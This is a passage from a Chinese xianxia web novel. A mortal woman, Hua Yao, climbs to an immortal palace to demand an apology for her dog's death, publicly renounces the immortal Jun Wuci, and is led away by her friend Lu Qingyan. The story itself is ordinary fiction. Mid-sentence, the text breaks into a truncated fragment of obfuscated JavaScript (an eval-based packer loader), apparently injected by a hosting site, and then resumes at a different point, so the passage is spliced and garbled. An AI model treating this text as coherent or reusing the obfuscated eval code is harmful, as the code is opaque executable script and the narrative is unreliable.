“有。”陆清宴眼突然用复杂的眼神看向花遥“千年难遇的剑道奇才,只用了短短的八十年就迈入了结丹后期,离元婴只有一步之遥,自创剑法,可以说和同阶之下近乎无敌,那些留下来的几个老怪物们都不敢轻易对他动手。” 听到这话花遥心中羡慕,能在资源被掠夺的世界里修炼成这样,那真的是拥有惊人的天资了。 她没问是谁,反正这样的人和她也不会有什么关系。 好歹现在知道了一条回家的路,总比以前没有一点可能好。 见她没继续追问,陆清宴也没有再多说。 他说了些修真界的趣事,逗得花遥脸上笑意都深了。 她一边爱玲地摸着蜷缩在她手边的点点,装作不经意地问道“金宝哥哥,你去过紫霄仙宫吗?” 陆清宴点头:“去为我师尊送过东西。” “上去的路只有一条吗?看那阶梯挺长的。” “确实挺长,那二千九百九十九步阶梯一般是留给凡人拜师使用的,一般只要通禀,御剑自然不用走那阶梯。”他说完,看向花遥“你问这个做什么?” 花遥笑眯眯地摇头“没什么呀,我就是好奇一下嘛。” 陆清宴仔细看了她一眼,叮嘱她吃药才离去。 接下来三天,陆清宴都有过来,花遥老老实实地待在客栈里休息,按时吃饭喝药,直到感冒好了,那些伤口也不在那么痛了,然后,在第四天清晨她出现在了紫霄仙宫的山门外。 鼠标…… 即便知道有这事很难,即便知道君无辞舍不得他的师妹道歉…… 可有这事她还是得去做。 7.第 7 章 守山弟子拦住花遥。 她微不可查地深吸了一口气,攥着衣摆,有些害羞地拿出手中的传音符“我是花遥,你们仙尊君无辞的妻子,此次他让我来谈些私密之事。” 两人对看一眼,自然知道月华仙尊这段风流韵事,不过其中一人还是仔细地检查了传音符,的确有君无辞的气息,这才放她进去。 她站在二千九百九十九步阶梯下,抿了抿唇。 鼠标因她而死。 她得为它做点什么,即便这是一件很难的事,即便君无辞多么舍不得他的萧师妹…… 可无论结果如何,她也要去做的。 否则她永远也过不去自己那一道坎的。 石阶陡峭入云,仿佛没有尽头。 花遥抿着唇,一步步向上。起初还算稳,很快便喘不过气。汗水浸湿了额发,黏在苍白的脸颊上。腿像灌了铅传来钝痛,她不得不时常停下,手撑着冰凉的石阶边缘,指节用力到发白,低头急促地喘息。 中途几次,眼前发黑,膝盖一软差点摔倒,全靠死死抓住石阶才稳住。 可她始终没回头,也没停下。清亮的杏眼里映着漫长到令人绝望的石阶,也映着某种近乎执拗的微光。 唇被咬得没了血色,只有越来越重的喘息声,直到傍晚十分,她终于站在了山顶。 发髻早已松散,几缕湿发黏在汗湿的额角和颈侧,脸色苍白如纸,唇上是被咬破的血痂。她撑着酸软发抖的腿,急促地喘息,每一次呼吸都扯着肺腑生疼。掌心被石阶磨破的伤口渗着血,混着尘土,黏腻不堪。 在紫霄宫纤尘不染的琼楼玉宇间,站在那些衣袂飘飘的弟子之间,她的存在显得那般格格不入又刺目。 很快就有人注意到了花遥,有弟子联系萧韵嫣。 “你是说那个凡人女子,要来找我?”萧韵嫣听到传音时,诧异了一瞬。 “小姐,会不会是为那条狗?”姚新雅想了想说道。 “应当是的。”萧韵嫣点头。 “那要见她吗?”想到那个不知好歹的凡人,姚新雅撇了撇唇角,能和月华仙尊日夜共度良宵,不知道是几辈子修来的服气。 “那是自然。”萧韵嫣拂了拂衣袖上根本不存在的灰尘,翘了翘唇角说道“将她引到院中便好。” 姚新雅应下,转身去安排。 萧韵嫣缓步走入内室,对着一面水月镜台,细细端详镜中人。指尖拂过鬓角,将一缕本就服帖的发丝理得更妥帖,又换了身更为清雅飘逸的雪绡纱裙,外罩淡淡的云雾绡,行动间如笼烟霞。 那凡人女子徒步攀登近三千级的石梯,此刻应当精疲力竭,狼狈不堪,而她,将以最完美的面貌,出现在对方面前。 当收拾妥当,神识扫过,发现花遥已经被引入院中。 她站起身,施施然地推门而出。 穿过环廊,她远远地看见一抹绷得笔直的单薄的背影,却掩不住衣衫被汗水浸透发丝凌乱的痕迹,垂在身侧的手掌隐约可见污迹与血痕。 她袖袍下手指掐诀,门外侍女立刻会意朝寂照无间飞去。 不过几息时间。 姚新雅站在一片盛放的昙花外。 任谁看到这绵延如雪海的昙花都会惊叹它的美。 碗口大的花朵重重叠叠,花瓣薄如蝉翼,在并非夜间的天光下呈现出一种半透明的近乎虚幻的月白色,花心吐露着金蕊,散发出浓郁到化不开的冷香。山风拂过,花浪起伏,如同月光凝成的潮汐在缓缓涌动,美得惊心动魄。 可,明明不该如此,它们本该在深夜瞬间盛放又顷刻凋零。 然而,君无辞为了留住这刹那芳华,让它永不凋零,强行以无上法力让这皎洁花朵,违逆本性,在这白日之下长久地绽放。 即便本能也应为他俯首。 不许任何忤逆的绝对掌控。 这个念头让姚新雅打了个冷颤,她只感到一股让人窒息的压迫感从花海中弥漫开来, 她低下头,眼观鼻,鼻观心,将所有的惧怕与寒意,都紧紧压在了恭顺的姿态之下。 恭声说道“弟子姚新雅拜见月华仙尊。” “何事?”很快,君无辞的声音传来。 他的声音略沉,带着砂砾刮擦的磁性。 让姚新雅下意识地屏住了呼吸,耳廓内侧泛起一丝难以言喻的麻痒。 不知道这样的声音在耳畔低语时会是什么样的风情。 姚新雅耳尖微红,她不敢抬手去揉,头垂得更低地回禀:“启禀仙尊,那位花遥姑娘不知为何前来求见小姐。小姐正在小筑轩接待。” 君无辞表情意外了一瞬,接着眉头微皱。 “可有人送她上来?” 紫霄仙宫的弟子都清楚,月华仙尊虽然寡言少语,但那并非温和,他的沉默,往往比雷霆震怒更令人心悸,足以让人在他面前屏息凝神,不敢有丝毫逾矩。 姚新雅言简意赅,未敢多言片语:“没有,她独身一人上来。” 下一瞬,修长的身影出现在了姚新雅的面前。 君无辞:“带路。” 萧韵嫣步履轻盈地步入院中,裙裾拂过光洁如镜的玉砖,没有发出丝毫声响。她在离花遥几步远的地方停下,恰到好处地带着一丝刚刚知晓般的讶异:“花遥姑娘,你找我可是有事?” “是。”花遥转过身,看着萧韵嫣慢慢说道:“萧姑娘,我的狗因你而死,请你随我去向它道歉。” 萧韵嫣笑了笑“花遥姑娘与那凡犬的情谊令人唏嘘,但以此要求我去给一条狗道歉……未免,太不知天高地厚了。再者凡犬乱吠,驱赶之,何错之有?”她声音依旧轻柔“况且,师兄已亲自出面为我处置此事,予你补偿。你却还要揪着不放,到底是为了一条狗,还是为了你的……私心?” 她抬眼,目光淡淡地看向花遥,特意加重了“私心”二字,眼底深处掠过一丝几不可察的凉意。 花遥知道此次来,肯定不会得到什么好的结果。 但人活一世,总得有自己的立场和想法。 即便会担忧会害怕,可就因为这样而不去做,她自己都会看不起自己的。 花缓缓眨了眨眼,问道:“萧姑娘,你是在含沙射影地说我与你师兄之事吗?” “花遥姑娘是聪明人。”萧韵嫣微微一笑,没有否认,也没有承认,她向前轻轻迈了半步,雪绡纱裙拂过光洁的地面,声音压得更低,带着一种仿佛推心置腹的劝诫意味,却又字字如针“既是聪明人,就该明白,有些事过去了便是过去了。执着于无望的旧事,于己无益,于人……更是困扰。不如放下,各自安好才是正理。” 花遥身后,暮色陡然深了一重。 一道颀长的玄色身影静立在她身后的石阶上方,逆着最后的天光,一双眸子沉静无波地落在她单薄的脊背上,视线落在她滴血的手背上顿了顿。 接着他就听到花遥说道“阿福是阿福,君无辞是君无辞,如今既已看清,本就该各归各位……” 花遥微微侧首,目光没有聚焦地投向暮色深处翻涌的云海,冷冽的山风吹过,她的视线越来越清晰。 然后,她坚定地缓缓保证道:“我喜欢的不是君无辞,所以,永不会纠缠他。” 君无辞几不可察地眯了眯眼。 仿佛敛尽了最后一点天光,那双眸子变得又黑又沉。 “萧姑娘,既然我的事说完了,你可以随我去为鼠标道歉了吗?”花遥抿了抿唇,继续加码“解决完这些事我就会离开这里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我就不会跑来这白玉京!”她用力地抿了抿唇,“如果我不来,就不会把鼠标孤零零留在山下,它就不会因为我惨死在这里!” “我真的……”她用尽全身力气,吐出那锥心刺骨的几个字“后悔救了你。” 君无辞没说话,表情晦暗得让人看不清一丝情绪。 算了算了,什么都不要了。 花遥更不想再多看一眼那张脸。 她退了一步,又一步,然后缓缓转身朝来时的方向走去,带着一种耗尽一切后的虚脱,却也带着一种斩断所有牵绊的决绝。 背影在暮色里单薄得仿佛随时会消散。 然后,她不顾一切地朝前跑去,像是恨不得立刻远离这一切。 君无辞脚尖一动。 “小花!”一个清亮焦急的男声,猝然划破了山巅凝滞的暮色声。 君无辞的身影蓦地顿住。 陆清宴三步并作两步冲到大门外,俊朗的脸上满是惊急,目光迅速锁定了那个在暮色中跌跌撞撞狂奔的熟悉身影。 “小花!你怎么了?!” 他几个箭步追上去,一把扶住花遥因脱力而踉跄得几乎要扑倒的身子。 花遥被他扶住,像是终于找到了一个可以停靠的支点,紧绷到极致的那根弦骤然断裂。她浑身一软,所有的力气、强撑的尊严、破碎的情绪都在这一扶之下彻底溃散。 她像个迷路的孩子终于见到亲人,眼眶一红,差点落下泪来。 “小花别怕,金宝哥哥在这儿。”陆清宴紧紧扶着她,能感觉到她浑身冰凉,抖得厉害,心疼地连声安慰,手臂稳稳地托住她几乎瘫软的身子,试图用自己的体温驱散那股透骨的寒意。 “没事了,没事了,我们这就回家,娘还等着我们吃饭呢……” 他声音放得很轻,带着一种刻哄孩子般的温柔,试图将她从那片冰冷的梦魇里拽回来。 两人身后,君无辞的视线落在陆清宴扶着花遥的手臂上,眼神一瞬幽深难辨。